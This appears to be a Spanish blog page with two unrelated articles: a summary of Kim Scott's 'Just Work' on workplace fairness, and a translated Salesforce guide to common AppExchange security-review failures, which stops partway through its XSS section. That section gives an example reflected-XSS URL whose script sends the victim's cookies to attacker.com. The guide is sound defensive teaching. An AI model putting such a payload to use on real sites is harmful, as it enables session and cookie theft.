Skip to content

Etiqueta: Performance

Como atacar y Eliminar la Injusticia Laboral y Transformar Nuestras Carreras y Empresas en el Proceso

Todos nosotros excluimos, subestimados a un gran numero de personas en el trabajo incluso mientas sobrestimamos y promocionamos a otros, por encima de su novel de competencia. No solo es esto inmoral e injusto sino que es malo para la empresa. En este articulo encontraras la soluci贸n, en donde aprender谩s el marco practico para la individualidad y la colaboraci贸n efectiva de todos Es la gu铆a fundamental que tantos lideres como empleados necesitan para crear un lugar de trabajo mas justo y establecer nuevas normas de respeto.

En este art铆culo basado en el libro de Kim Scott, que es la continuaci贸n de su primer libro Radical Candor, aprender谩s como crear un entorno laboral donde todos puedan colaborar y respetar las individualidades de cada uno.  

Por supuesto, esto no es lo que sucede en la mayor铆a de los entornos laborales. La injusticia en el trabajo abunda debido a seis problemas diferentes:

  1. Favoritismo,
  2. Prejuicio
  3. Bullying
  4. Discriminaci贸n
  5. Acoso verbal, entre otros.

No solo son estas cosas injustas, son inefectivas. De acuerdo al estudio de McKinsey, las empresas que est谩n en el cuartil inferior por el g茅nero y la diversidad cultural muy probablemente sean menos rentables que sus pares equitativos. 

脷nete en los pr贸ximos 12 minutos a medida que exploramos c贸mo hacerlo correcto creando una cultura Just Work. 

Justicia e Injusticia Sistem谩tica

Comenzaremos describiendo las dos din谩micas diferentes y como crean 4 tipos diferentes de entornos laborales. 

Las dos din谩micas son:

  • La Din谩mica Conformidad, la que nos aleja de respetar la individualidad generalmente bajo pretextos falsos de ser racional o cort茅s,
  • La Din谩mica de Coerci贸n, que nos aleja de la colaboraci贸n. Esta din谩mica hace cero esfuerzo por ser cort茅s. Es brutal.

Estas dos din谩micas crean 4 tipos de entornos laborales diferentes. Observa en cual trabajas ahora. 

Sistema 1: Inefectividad Brutal

Como puedes imaginar por su nombre, este es el peor. Tiene ambas Din谩micas de Coerci贸n y de Conformidad:

  • Lo que provoca un ciclo de refuerzo negativo,
  • Puede suceder debido a un l铆der malvado,
  • Pero por lo general viene de los sistemas de gerenciamiento que fallan en responsabilizar a los malos actores por su comportamiento. 

Sistema 2: Humillaci贸n auto farisaica

Bajo este sistema, existe respeto por el individuo pero los altos niveles de humillaci贸n a la gente que exponen sus creencias que la multitud considera injusta. Esto solo hace que la gente est茅 a la defensiva y avergonzada y los avergonzados rara vez noten su propia l贸gica err贸nea. 

Sistema 3: Exclusi贸n Olvidada

Este es el sistema m谩s com煤n, y el menos dram谩tico.

El ejemplo ser铆a un entorno laboral donde:

  • Todos hablan de deportes y Tv,
  • Tienen una pol铆tica de licencia parental generosa,
  • Pero solo el 1 de los vicepresidentes senior son mujeres y los dem谩s son blancos
  • Existe altos niveles de colaboraci贸n pero hay una fuerza invisible que demanda conformidad. 

Sistema 4: Solo Trabajo

Este sistema es donde existe un respeto por los individuos y altos niveles de colaboraci贸n y el resto de nuestro tiempo desempacamos como crearlo. 

Las Causas de Ra铆z de la Injusticia del Entorno Laboral: Favoritismo, Prejuicio, y Bullying

Ahora veamos un poco m谩s las fuerzas que crean una injusticia laboral y que comienzan con unas pocas definiciones. 

La parcialidad es no intencional. Probablemente hayas escuchado el t茅rmino parcialidad inconsciente porque la parcialidad por lo general sucede sin que est茅n conscientes de ello:

El prejuicio es queri茅ndolo,

El Bullying es ser malo: Es el uso repetido e intencional del estado dentro del grupo para da帽ar y humillar a otros.

Es f谩cil que la parcialidad se transforme en perjuicio y que el prejuicio se transforme en bullying. Es una cuerda floja y por lo tanto todos debemos encontrar el modo de detenerlo cuando lo veamos. 

Exploraremos lo que puede y debe hacer la gente lastimada, la gente que es testigo de eso, la gente que lo hace y los l铆deres de las empresas donde sucede. 

Para la Gente Da帽ada: Que Decir Cuando No Saben Qu茅 Decir

Una de las cosas que Scott advierte en contra es permanecer en silencio.

Si te encuentras en el extremo receptor del favoritismo, tu instinto natural puede ser racionalizarlo con pensamientos como que:

Ellos no quisieron ocasionar un da帽o o Soy una buena persona  y no no encajo en la cara de las personas

Eso solo:

  • Refuerza el comportamiento, y
  • No solo est谩s da帽ando tu futuro mismo sino tambi茅n el de todos los dem谩s que estar谩n en el extremo receptor en el futuro. 

Respondiendo al prejuicio 

La mejor respuesta es invitar a la persona a considerar tu perspectiva usando una declaraci贸n Yo. La forma m谩s f谩cil de esto es una correcci贸n de los hechos.

Como ejemplo:

  • En una conferencia donde se encontraba Scott, un miembro de la multitud lo confundi贸 con un miembro del staff,
  • El pudo haber dicho: Estoy a punto de ingresar al escenario y dar una charla. Creo que una de los miembros del staff que tienen las remeras amarillas pueden ayudarte a encontrarte un pin de seguridad. 

Respondiendo al Prejuicio

La mejor respuesta al prejuicio es establecer un l铆mite claro m谩s all谩 en el cual la otra persona debe ir con una Declaraci贸n de Eso.

Como ejemplo:

  • Si eres una mujer, y
  • Alguien se refiere a ti como una ni帽a,
  • Podr铆as decir Es irrespetuoso llamar a una mujer adulta como una ni帽a

Respondiendo al Bullying

Finalmente, el mejor modo de tratar al hostigador directamente con un T煤.

Como ejemplo:

  • Si un acosador me pregunta algo inapropiado, puedes decir 驴Por qu茅 me est谩s haciendo esta pregunta inapropiada?,
  • El hostigador puede dejar pasar tu comentario o defenderse contra eso pero est谩s jugando una defensa, lo cual es la 煤nica cosa que los detendr谩.

Para los Observadores: Como Ser un Defensor

Los observadores, lo que Sctot denomina defensores son fundamentales en ayudar a crear un entorno Solo de Trabajo porque tiene ventajas que ninguno de los otros jugadores tiene: 

  • Existe fuerza en n煤meros, 
  • Ellos son terceros neutrales en la situaci贸n y dif铆ciles de descartar, 
  • Una conexi贸n personal facilita la comunicaci贸n.
Cuando se responde al prejuicio, el trabajo del defensor es sostener un espejo e invitar a otros que notes lo que ellos han notado en una situaci贸n. Puede ser tan simple como decir: Creo que lo que dijiste suena influenciado. 

Cuando se responde al bullying, puedes utilizar el enfoque 芦5D禄 creado por Hollaback, una organizaci贸n sin fines de lucro que desarrolla entrenamiento para los defensores:

  • Dirige: desafiar al hostigador con un Tu;
  • Distraer: desviar la atenci贸n en el incidente si lo confrontas directamente solo har谩 que la persona da帽ada se sienta peor, 
  • Delegar: obtener ayuda de otro colega que puede intervenir mejor m谩s efectivamente,
  • Retrasar: si sientes que hay riesgo de retribuci贸n si intervienes en el momento, puedes siempre chequearlo m谩s tarde, 
  • Documentar: tomar nota de lo que est谩 sucediendo.

Para la gente que causa Da帽o: Ser parte de la Soluci贸n, no parte del problema 

El t铆tulo de esta secci贸n lo dice todo. Si has lastimado a alguien, tu primer paso es reconocer tu error y disculparse.

Scott nos dirige al Art of the Apology por Lauren M. Bloom, que explica que una disculpa efectiva tiene los siguientes pasos: 

  • Di que lo sientes sinceramente,
  • Explica lo que sali贸 mal, 
  • Asume la responsabilidad, 
  • Realiza cambios,
  • Expresa la apreciaci贸n, 
  • Escucha al dolor de la persona con paciencia 
  • Ofrece reparo,
  • Pide Perd贸n,
  • Promete que no volver谩 a suceder.

As铆 es como se hace de manera correcta, pero para ser claro, aqu铆 hay algunas disculpas que no son disculpas realmente (por lo tanto deben ser evitadas) 

  • Esto ha sido realmente dif铆cil para mi,
  • Estaba bromeando,
  • Lo siento que te he hecho sentir inc贸modo
  • Me puedes perdonar? No pidas perd贸n hasta que hayas hecho cambios o garantizado que no repetir谩s el error.

Para los L铆deres: Crea Interrupciones Prejuicio, Un C贸digo de Conducta y Consecuencias para el Bullying

El primer paso que las empresas parecen tomar para crear una cultura de Solo Trabajo es el entrenamiento de la parcialidad inconsciente para los miembros del equipo. 

Sin embargo, ning煤n entrenamiento puede cambiar patrones profundos arraigados de pensamiento el cual es donde la parcialidad el prejuicio y el bullying nacen.

Debe haber una pr谩ctica consistente de nuevas normas.

Interrupciones de Prejuicio

Una de los pasos inmediatos que puedes tomar como un l铆der es garantizar interrumpir patrones de prejuicio en tu empresa. 

Aqui hay algunas cosas concretas que puedes hacer para ayudar::

  1. Aclarar que la empresa esta haciendo esto como una prioridad;
  2. Asegurar que la gente disminuye el prejuicio a medida que ocurra, 
  3. Facilitar acordar en un lema si notas perjuicio;
  4. Eliminar verg眉enza, todos corregir谩n en cierto punto, por lo tanto aseg煤rate que no parezca como el fin del mundo;
  5. Retribuir la defensa: ir tan lejos puedas para notarlo en revisiones de rendimiento, 
  6. Preguntar a la gente que sea responsable y corrija su prejuicio p煤blicamente. Responda con gratitud cuando lo hacen..

Evita el prejuicio con un C贸digo de conducta

Aqu铆 hay consejo directo, si no tienes un c贸digo de conducta escribe uno. Cuando lo hagas, aseg煤rate de crear la aceptaci贸n  que estas esperando para asegurar que:

  • (1) Refleje tus verdaderas creencias en vez de s贸lo copiar las de otras personas, 
  • (2) Refleje las creencias de tu equipo, y 
  • (3) Tenga el idioma que refleje la cultura de tu equipo. 

No cometas errores, esto llevar谩 tiempo y esfuerzo, pero te empujar谩 como l铆der y como organizaci贸n para pensar lo m谩s claro posible sobre el comportamiento, como lo haces sobre el rendimiento.

Los l铆deres y el Bullying: Aplicar consecuencias

Existen tres 谩reas donde puedes tener un impacto inmediato cuando se trata de bullying en el entorno laboral:

  1. Conversaci贸n: Crear consecuencias para los hostigadores, pero asegurarte que no te transformes en un hostigador tu mismo, 
  2. Compensaci贸n: No dar aumentos o bonos a la gente que hostiga;
  3. Avance en la Carrera: No ascender a los hostigadores.
Una cosa para observar cuando aplicas tu c贸digo de conducta y tratas con hostigadores en tu empresa: aseg煤rate que no los sobre castigues por prejuicio.

Si lo haces nadie se siente c贸modo dici茅ndolo y tu regresaras a foja cero lo estar谩s creando una cultura de verg眉enza y auto estricta, 

Un Rol de L铆der en Prevenir la Discriminaci贸n y el Acoso: Aplicar Chequeos y Balances, Cuantificar Prejuicio

La Discriminaci贸n es excluir a otros de oportunidades y sucede cuando agregas poder al prejuicio o al prejuicio.

El acoso es intimidar a otros en un modo que cree un entorno laboral hostil y suceda cuando agregas poder al prejuicio o al bullying.

Aqui hay algunas coas que puedes hacer para garantizar que evites ambos dd esas cosas de que sucedan.

1. Contactar a las mejores personas

Puedes sacar todo tipo de prejuicio e inlcinaci贸n al contratar retirando toda informaci贸n como:

  • El g茅nero,
  • La raza,
  • La religi贸n,
  • Orientaci贸n sexual de la persona de sus curriculums.
  • Desde aqu铆 puedes separar la evaluaci贸n de las capacidad y la entrevista personal,
  • Tambi茅n garantizar que utilices el comit茅 de contrataci贸n compuesto por diversas personas, en vez de personas individuales para tomar decisiones de contrataci贸n. 

2. Retenci贸n

Asegurarse que te focalices en mantener tu fuerza de trabajo diverso una vez que lo hayas creado

3. Compensaci贸n

Existen dos cosas que debe apretar atenci贸n cuando se trate de compensaci贸n: 

  1. Prestar atenci贸n para el vac铆o de pago entre la gente con mejor y menor pago en tu empresa, y
  2. No subcontrates todo el trabajo menor para evitar el disconfort de saber que tan poco se les paga a esas personas.

4. Gerencia de Rendimiento

La clave aqu铆 es:

  • Tomar previsiones y decisiones sobre las promociones fuera de las manos de los gerentes individuales y que emitan la responsabilidad a un grupo externo, y
  • Limitar el poder de los jefes individuales crea un resultado mejor y obtienes m谩s colaboraci贸n entre los jefes y empleados. 

5. Entrenamiento y Tutor铆a

Es sumamente aconsejable que:

  • Hagas el proceso de tutor铆a transparente y no construyas estas relaciones detr谩s de puerta cerradas en los clubes de golf, y dem谩s,
  • Organiza reuniones de tutor铆a en lugares p煤blicos. 

6. Medir la seguridad psicol贸gica

Amy Edmondson, profesora en la Escuela de Negocios de Harvard es la experta l铆der en seguridad psicol贸gica y tiene no solo definido el t茅rmino sino que tambi茅n ha inventado un m茅todo de medirlo:

  • Encuentra, y
  • Utiliza su investigaci贸n para medir el nivel de seguridad psicol贸gica en tu empresa 

7. Sal de las entrevistas

La gente por lo general se va debido a sus jefes y no dar谩n aquella devoluci贸n directamente a ellos. Por lo tanto, alguien de mayor jeraqu铆a que el jefe de aquella persona debe hacer la entrevista,

8. Termina con la No Divulgaci贸n y el Arbitraje Obligatorio

Ambos son malas ideas si son utilizadas en situaciones de acoso y discriminaci贸n porque permiten que el prejuicio y la discriminaci贸n permanezcan detr谩s de las puertas cerradas.

9 Dise帽o de Organizaci贸n 

Cualquier funci贸n de cumplimiento debe reportarse directamente a un comit茅 de auditoria y se debe permitir dirigirse al Presidente cuando lo necesiten.

Para las Personas Da帽adas y Defensores: C贸mo Luchar contra la Discriminaci贸n y el Acoso Sin destruir tu carrera 

Existen muchos pasos que puedes y debes tomar si est谩s tratando con discriminaci贸n y acoso:

1. Documentar

La primera cosa que debes hacer es documentar en todo momento lo que pienses sea discriminaci贸n o acoso. Toma una peque帽a cantidad de tiempo diariamente de manera que puedas llevar un informe completo. 

2. Construir solidaridad

Discriminaci贸n y acoso pueden dejar un sentimiento solo.

Encuentra a la gente que se relacionen con lo que t煤 est谩s atravesando.  

3. Localizar la salida mas cercana a ti

Si decides que vas a hablar con los de Recursos Humanos o tu jefe directamente sobre los temas que estas enfrentando:

  • Piensa lo que pueda suceder,
  • Aseg煤rate como lo que los negociadores llamar tu mejor alternativa a un acuerdo negociado.es:

Si eres un defensor en esta situaci贸n, ofrece hacer instrucciones a la persona que esta siendo da帽ada y se帽ala todas sus opciones. 

4. Habla directamente con la persona que causa da帽o.

5. Rep贸rtate a los de Recursos Humanos

HR puede ser 煤til en estas situaciones. Primero si ellos resuelven el problema en tu nombre pueden ahorrar el tiempo y fastidiar tener que encontrar otro trabajo.

Scott se帽ala que:

El reportar a los de Recursos Humanos puede ayudar a otros en el futuro incluso si no ayudan hoy 

6. Considera la acci贸n legal

Existen riesgos importantes asociados con tomar una acci贸n legal, incluyendo:

  • La hora, y
  • La energ铆a emocional que puede consumir.
  • Por lo tanto, aseg煤rate que eres claro en lo que quiere cumplir si lo haces. 

Tocar: Como crear una cultura de Consentimiento y el Costo de Fallar al hacerlo 

Ahora nos veremos hacia el prejuicio, el bullying, la discriminaci贸n y el acoso.

La simple historia aqu铆 es que debas crear una cultura de consentimiento cuando se trata de trato personalizado (touching) en tu empresa. 

Esto significa que es la responsabilidad del actor de este trato (toucher) que sea consiente de como la otra persona siente sobre ser as铆 tratada.

Si existe alguna duda, no lo hagas. Si no puedes contar, aprende como preguntar: y debe ir sin decir (pero obviamente no) si no puedes controlarte a tu mismo cuando estas bebido, no tomes especialmente en el trabajo.

1.Para la gente da帽ada 

Aqui el trato:

  • Nadie tiene el derecho de tocarte en un modo que te haga sentir inc贸modo
  • Eres el 煤nico arbitro de eso
  • Cuando se trata de saludos como abrazos y apretones de mano es aceptable para ti decir: No soy abrazador o para ofrecer un primer golpe en vez de estrechar las manos.

2. Para los defensores

Esto es simple, si ves una situaci贸n donde alguien obviamente se siente incomodo dice algo

3. Para la gente que causa da帽o 

Esto es tambi茅n simple si alguien no quiere ser tocado, no lo toques. Lee las pistas sociales. si eres malo en leer las pistas sociales tu error seria no tocar.

Esta bien preguntarle a alguien algo como: 驴Abrazo, Apret贸n de manos, pu帽o, o sonrisa?

4. Para los l铆deres

Existen muchas cosas que puedes hacer como l铆der para reforzar tu cultura de consentimiento y tu c贸digo de conducta:

  • Focal铆zate especialmente en violaciones menores porque pueden impedir mas serias,
  • Tambi茅n aseg煤rate que cualquiera sea las reglas que tomes sobre las relaciones sexuales con los campa帽eros de trabajo sean claras de manera que todos entiendan lo que se espera de ellos,
  • Finalmente da a la gente la oportunidad de aprender pero no tantas para que no crean que es una cultura donde te sientas seguro de violar el c贸digo de conducta.

Conclusi贸n

Just Work es el mejor modo de crear un negocio que rinda mejor. pero requiere un compromiso de amplia organizaci贸n para hacer las cosas mejores. 

Pero es posible cuando creas una cultura donde la individualidad es respetada y en donde demandar conformidad y colaboraci贸n es la norma en vez de la coerci贸n. 

Puedes hacerlo pero alguien tiene que ir primero. Permite que esa persona seas t煤. 

Las 20 vulnerabilidades principales encontradas en la revisi贸n de seguridad de AppExchange 鈽侊笍

Las 20 vulnerabilidades principales encontradas en la revisi贸n de seguridad de AppExchange 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Las 20 principales vulnerabilidades encontradas en la revisi贸n de seguridad de AppExchange | Blog de desarrolladores de Salesforce

Se sabe que la revisi贸n de seguridad de AppExchange es uno de los procesos de revisi贸n m谩s rigurosos de cualquier mercado de aplicaciones en l铆nea. Esta estricta reputaci贸n es algo de lo que Salesforce se enorgullece, siendo la confianza nuestro valor n煤mero uno. Como mercado de software empresarial, tenemos la profunda responsabilidad de cumplir con los m谩s altos est谩ndares de seguridad posibles para la protecci贸n de los datos de los clientes.

Dicho esto, estos est谩ndares pueden representar un desaf铆o importante para los socios ISV que buscan publicar ofertas en AppExchange. Para ayudar a mejorar la transparencia y ayudarlos a todos a tener 茅xito, en orden de prevalencia, esta publicaci贸n analizar谩 las 20 razones principales por las que los socios no pasan la revisi贸n de seguridad (a partir de 2023). Tambi茅n cubriremos c贸mo remediar o prevenir estos problemas.

#1 鈥 Aplicaci贸n de CRUD/FLS

驴Qu茅 es esto?

Las vulnerabilidades de aplicaci贸n de la seguridad a nivel de objetos y campos (CRUD/FLS) son la raz贸n principal (por un margen significativo) para no pasar la revisi贸n de seguridad de AppExchange. Estas vulnerabilidades representan fallas al verificar adecuadamente si los objetos y/o campos son accesibles, creables, eliminables y/o actualizables antes de ejecutar consultas o acciones de base de datos. Si su oferta de AppExchange contiene alg煤n c贸digo de Salesforce, este problema debe ser su prioridad n煤mero uno a resolver antes de enviarlo para una revisi贸n de seguridad.

驴C贸mo puedo abordar esto?

Si, durante su proceso de codificaci贸n, no ha implementado consistentemente comprobaciones CRUD/FLS o no ha ejecutado SOQL, SOSL y DML en modo de usuario, querr谩 hacer una revisi贸n muy exhaustiva de su c贸digo base para asegurarse de que no est茅 realizar cualquier operaci贸n de creaci贸n/lectura/actualizaci贸n/eliminaci贸n no marcada en objetos o campos.

El m茅todo preferido y moderno para hacer cumplir CRUD/FLS implica utilizar el modo de usuario en todas las consultas y operaciones de bases de datos. La desventaja de esto es que Checkmarx, PMD y el motor de reglas PMD de Code Analyzer a煤n no lo admiten completamente (al momento de escribir esta publicaci贸n, PMD admite WITH USER_MODE en SOSL/SOQL, pero no el modo de usuario DML, por lo que si usa este tipo de protecci贸n arrojar谩 falsos positivos). Code Analyzer Graph Engine es actualmente la 煤nica herramienta que admite ambos tipos de modos de usuario. Consulte el comando scanner:run:dfa en la documentaci贸n para ejecutar un escaneo con Code Analyzer Graph Engine.

Si ha estado aplicando CRUD/FLS a la antigua usanza con Schema.DescribeSObjectResult (es decir, m茅todos como isCreatable() , isUpdateable() , isDeletable() ), entonces Code Analyzer y la extensi贸n PMD para VS Code pueden ser 煤tiles herramientas que puede utilizar para comprobar su c贸digo base. Puede seguir nuestra gu铆a para obtener m谩s informaci贸n sobre c贸mo utilizar PMD para VS Code y Code Analyzer para eliminar las infracciones CRUD/FLS.

El esc谩ner Checkmarx debe utilizarse como verificaci贸n final de violaciones de CRUD/FLS. Puede ejecutar este an谩lisis a trav茅s del Portal de seguridad para socios .

Obtenga m谩s informaci贸n sobre la aplicaci贸n de CRUD/FLS en Trailhead .

#2 鈥 Versi贸n de software insegura

驴Qu茅 es esto?

Esto significa que alguna pieza de software (normalmente, una versi贸n espec铆fica del software) utilizada en su oferta tiene vulnerabilidades de seguridad conocidas. La mayor铆a de las veces, es porque est谩s usando una versi贸n desactualizada de una biblioteca de JavaScript (por ejemplo, jQuery es, con diferencia, la m谩s com煤n), pero tambi茅n podr铆a ser algo as铆 como versiones antiguas de nginx, bibliotecas de Python, CKEditor o PHP.

驴C贸mo puedo abordar esto?

Intente identificar todas las bibliotecas, marcos, software y otras tecnolog铆as que no sean de Salesforce dentro del alcance de su oferta de AppExchange.

Busque cada uno de estos en Snyk (para proyectos de c贸digo abierto) o en la base de datos CVE . CVE significa "vulnerabilidades y exposiciones comunes" y la base de datos CVE representa un glosario de vulnerabilidades de seguridad conocidas p煤blicamente que es mantenido y operado por el FFRDC Nacional de Ciberseguridad de EE. UU. y MITRE Corporation. Tambi茅n puede utilizar el complemento RetireJS de Salesforce Code Analyzer para ejecutar un escaneo de su c贸digo base empaquetado para buscar bibliotecas de JavaScript con vulnerabilidades conocidas.

Nota: En algunos casos, puede agregar documentaci贸n de falsos positivos para argumentar que un CVE particular registrado no podr铆a aplicarse a su oferta, ya que quiz谩s no est茅 utilizando la funcionalidad asociada con ese CVE.

#3 鈥 Violaci贸n al compartir

驴Qu茅 es esto?

B谩sicamente, esto significa que tiene clases de Apex en las que no ha agregado expl铆citamente la palabra clave with sharing al encabezado de la clase, omitiendo as铆 las reglas de uso compartido de una organizaci贸n.

驴C贸mo puedo abordar esto?

Simplemente verifique todas sus clases de Apex y aseg煤rese de tener with sharing (o el uso compartido heredado) definido en el encabezado de la clase. Para los casos en los que necesita que una clase se ejecute sin compartir (por ejemplo, la clase debe ejecutarse en un contexto de sistema y no en un contexto de usuario), agregue una explicaci贸n a su documento de falso positivo que explique el caso de uso empresarial (e idealmente, agregue comentarios en la parte superior). de los encabezados de clase relevantes para que quede a煤n m谩s claro).

Code Analyzer , PMD para VS Code y Checkmarx tambi茅n pueden ayudarlo a escanear su c贸digo.

Obtenga m谩s informaci贸n sobre c贸mo compartir el cumplimiento a trav茅s de Trailhead .

#4: Almacenamiento inseguro de datos confidenciales

驴Qu茅 es esto?

Los secretos no deben estar codificados en el c贸digo fuente. Aunque el c贸digo puede estar contenido en un paquete administrado donde el c贸digo est谩 oculto para los clientes, todav铆a existen razones por las que esta es una pr谩ctica insegura, entre ellas:

  • El cliente debe tener control sobre sus secretos y claves y, en muchos casos, debe poder cambiarlos o actualizarlos.
  • Los secretos pueden quedar expuestos en registros o mensajes de error
  • Si un secreto o clave caduca, el cliente no podr谩 actualizarlo por s铆 mismo.

驴C贸mo puedo abordar esto?

Aseg煤rese de que no haya secretos codificados en el c贸digo fuente, incluso si es un paquete administrado. Aseg煤rese de que todos los secretos se almacenen de una de las siguientes maneras:

  • Campos de metadatos personalizados protegidos (para secretos propiedad de socios)
  • Configuraciones personalizadas protegidas (para secretos propiedad del suscriptor/cliente)
  • Credenciales con nombre (esto generalmente no se recomienda, pero si tiene un caso de uso espec铆fico que lo requiera, es posible que se permita caso por caso)
  • Cifrado y almacenado en objetos personalizados con la clave de cifrado almacenada en una configuraci贸n personalizada protegida o en un campo de metadatos personalizados ocultos

Obtenga m谩s informaci贸n sobre el almacenamiento seguro de secretos en Trailhead .

#5 鈥 Configuraci贸n TLS/SSL

驴Qu茅 es esto?

Todas las conexiones entrantes y salientes que involucran a sus comunidades, sitios y portales de Salesforce deben utilizar Transport Layer Security (TLS) 1.2. Este requisito es v谩lido en los modos Lightning Experience y Salesforce Classic para comunidades y sitios, independientemente de si est谩n en las ediciones Essentials, Enterprise, Performance, Unlimited o Developer.

驴C贸mo puedo abordar esto?

Verifique que el acceso a su navegador, las integraciones de API y otras funciones de Salesforce sean compatibles con TLS 1.2.

Una forma sencilla de hacerlo es utilizar Qualys SSL Scanner. El equipo de revisi贸n de seguridad ejecutar谩 este an谩lisis en todos y cada uno de los puntos finales externos o que no sean de Salesforce involucrados en su soluci贸n. Si sus terminales no reciben una calificaci贸n A por cumplimiento de SSL/TLS, su revisi贸n de seguridad no ser谩 aprobada.

Para ejecutar el escaneo, simplemente ingrese la URL base en el formulario web de prueba del servidor SSL de Qualys y presione Enviar.

Puede encontrar m谩s detalles sobre los requisitos de TLS en las notas de la versi贸n .

#6 鈥 Informaci贸n confidencial en depuraci贸n

驴Qu茅 es esto?

Este tipo de vulnerabilidad describe situaciones en las que se filtra informaci贸n confidencial, como secretos de aplicaciones, datos del sistema o informaci贸n de depuraci贸n demasiado detallada, a trav茅s de funciones de registro u otros flujos de salida. Por lo general, esto sucede cuando el registro detallado est谩 habilitado para fines de desarrollo, pero luego no se reduce adecuadamente antes de enviarlo para la revisi贸n de seguridad de AppExchange.

驴C贸mo puedo abordar esto?

En su paquete de Salesforce, aseg煤rese de buscar en su c贸digo fuente todas las declaraciones de depuraci贸n del paquete para asegurarse de que no registren informaci贸n confidencial o secretos.

Aseg煤rese de que los c贸digos de error y los mensajes de error en toda su soluci贸n tengan un nivel de informaci贸n apropiado para que todos los usuarios los vean. Por ejemplo, los usuarios habituales generalmente no deber铆an ver seguimientos de pila completos ni informaci贸n de depuraci贸n detallada. De manera similar, aseg煤rese de que otras funciones de registro o flujos de salida tampoco filtren datos confidenciales.

Code Analyzer y PMD para VS Code pueden ayudarlo a detectar estos problemas en las aplicaciones de Salesforce, y los esc谩neres de aplicaciones web como Burp Suite , Chimera u OWASP ZAP tambi茅n pueden ayudarlo a detectar estos problemas en sus integraciones externas y aplicaciones web.

Obtenga m谩s informaci贸n sobre c贸mo verificar los seguimientos de la pila e informaci贸n detallada sobre las excepciones en el n煤mero 13.

#7 – CSRF

驴Qu茅 es esto?

La falsificaci贸n de solicitudes entre sitios (CSRF) es un tipo de ataque que enga帽a a una v铆ctima para que ejecute acciones no deseadas en una aplicaci贸n web en la que est谩 autenticada. Explotar la confianza que un sitio tiene en el navegador del usuario puede llevar a acciones potencialmente da帽inas, como cambiar direcciones de correo electr贸nico y contrase帽as, o incluso realizar transacciones sin el conocimiento o consentimiento del usuario.

En la plataforma Salesforce, existe un token anti-CSRF para contrarrestar dichos ataques, que ofrece protecci贸n mientras se utilizan controladores y m茅todos est谩ndar. Sin embargo, los desarrolladores pueden eludir involuntariamente estas salvaguardas anti-CSRF al crear sus propios m茅todos de acci贸n.

驴C贸mo puedo abordar esto?

En general, las aplicaciones web pueden prevenir ataques CSRF principalmente implementando tokens anti-CSRF, que son valores 煤nicos y espec铆ficos del usuario incluidos en cada solicitud de cambio de estado para verificar la fuente. Adem谩s, deben adoptar la pr谩ctica de cookies del mismo sitio, que impide que el navegador env铆e la cookie junto con solicitudes entre sitios, mitigando as铆 los riesgos de CSRF.

Para p谩ginas de Visualforce:

  • Al crear p谩ginas de Visualforce, evite utilizar solicitudes HTTP GET que cambien de estado; use POST o PUT para cambios de estado en su lugar
  • No ejecute acciones autom谩ticas ni cambie el estado (por ejemplo, operaciones DML) al cargar la p谩gina.
  • Otra t茅cnica de mitigaci贸n implica agregar una p谩gina de confirmaci贸n intermedia antes de realizar la acci贸n, donde el usuario puede confirmar que ten铆a la intenci贸n de realizar esa acci贸n.

Para componentes Lightning:

  • De manera similar a las p谩ginas de Visualforce, evite cambiar el estado o ejecutar acciones al cargar un componente Lightning, mediante enlaces como init (para Aura) ,connectedCallback , renderedCallback o constructor .

Al realizar llamadas API:

  • Para las API que no son de Salesforce, es posible que tambi茅n desee agregar su propio token CSRF.

CSRF es uno de los tipos de problemas de seguridad m谩s complicados, por lo que vale la pena invertir en aprender m谩s sobre 茅l en profundidad. Para los paquetes de Salesforce, existe excelente documentaci贸n para desarrolladores y un m贸dulo Trailhead como referencia.

Para otros tipos de aplicaciones web, es posible que desees consultar la documentaci贸n de OWASP .

Los esc谩neres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , tambi茅n pueden ayudarle a detectar estos problemas en sus aplicaciones web externas.

N.潞 8: secuencias de comandos entre sitios (XSS) almacenadas y reflejadas

驴Qu茅 es esto?

Los ataques de secuencias de comandos entre sitios (XSS) son problemas de inyecci贸n en los que se insertan secuencias de comandos da帽inas en sitios web confiables. Ocurren cuando un atacante explota una aplicaci贸n web para enviar c贸digo malicioso, a menudo un script del lado del cliente, a un usuario diferente. Estos ataques explotan fallas en aplicaciones web que utilizan entradas de usuario no validadas o codificadas en su salida.

En un ataque XSS, el navegador de un usuario desprevenido ejecuta el script malicioso, creyendo que proviene de una fuente confiable. Esto permite que el script acceda a cookies, tokens de sesi贸n u otros datos confidenciales almacenados en el navegador. Incluso puede modificar el contenido HTML de la p谩gina.

Los ataques XSS almacenados son de tipo persistente, en los que la aplicaci贸n web almacena la entrada maliciosa y luego se muestra a los usuarios. Los ataques XSS reflejados, por otro lado, generalmente ocurren cuando se inyecta c贸digo malicioso en una URL, que se ejecuta cuando un usuario hace clic en ella (por ejemplo: http://example.com/search?query=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie;</script> ).

Los motivos por los que su aplicaci贸n podr铆a ser susceptible incluyen:

  • Entrada no validada : las aplicaciones pueden aceptar entradas del usuario y usarlas o mostrarlas en una p谩gina sin validarlas adecuadamente (para garantizar que no contenga c贸digo/scripts ejecutables).
  • Campos de texto enriquecido : almacenar entradas en campos RTF de Salesforce es riesgoso porque admiten contenido HTML, por lo que debe validar la entrada para evitar que se almacenen XSS.
  • P谩ginas de Visualforce : pueden ser susceptibles si utilizan entradas generadas por el usuario en el cuerpo HTML o en JavaScript sin un escape de entrada o codificaci贸n de salida adecuados.
  • Componentes web Aura y Lightning (LWC) : aunque tienen protecciones integradas contra XSS, los desarrolladores pueden evitar estas protecciones mediante cosas como el uso de la propiedad innerHTML , lwc:dom=鈥漨anual鈥 o el componente lightning:formattedRichText sin la validaci贸n de entrada adecuada.
  • Par谩metros de URL : las aplicaciones pueden usarlos directamente en el HTML o JavaScript de una p谩gina sin validaci贸n (lo que lleva a XSS reflejado).

驴C贸mo puedo abordar esto?

Su objetivo principal debe ser evitar la manipulaci贸n de DOM, pero tambi茅n recomendamos practicar el filtrado de entrada y la codificaci贸n de salida, que incluyen:

  • Evite la manipulaci贸n del modelo de objetos de documento (DOM): en su lugar, utilice t茅cnicas como directivas de plantilla y evite funciones de JavaScript potencialmente inseguras (por ejemplo, eval() , DOMParser.parseFromString() , Document.implementation.createHTMLDocument() , setTimeout() , setInterval() )
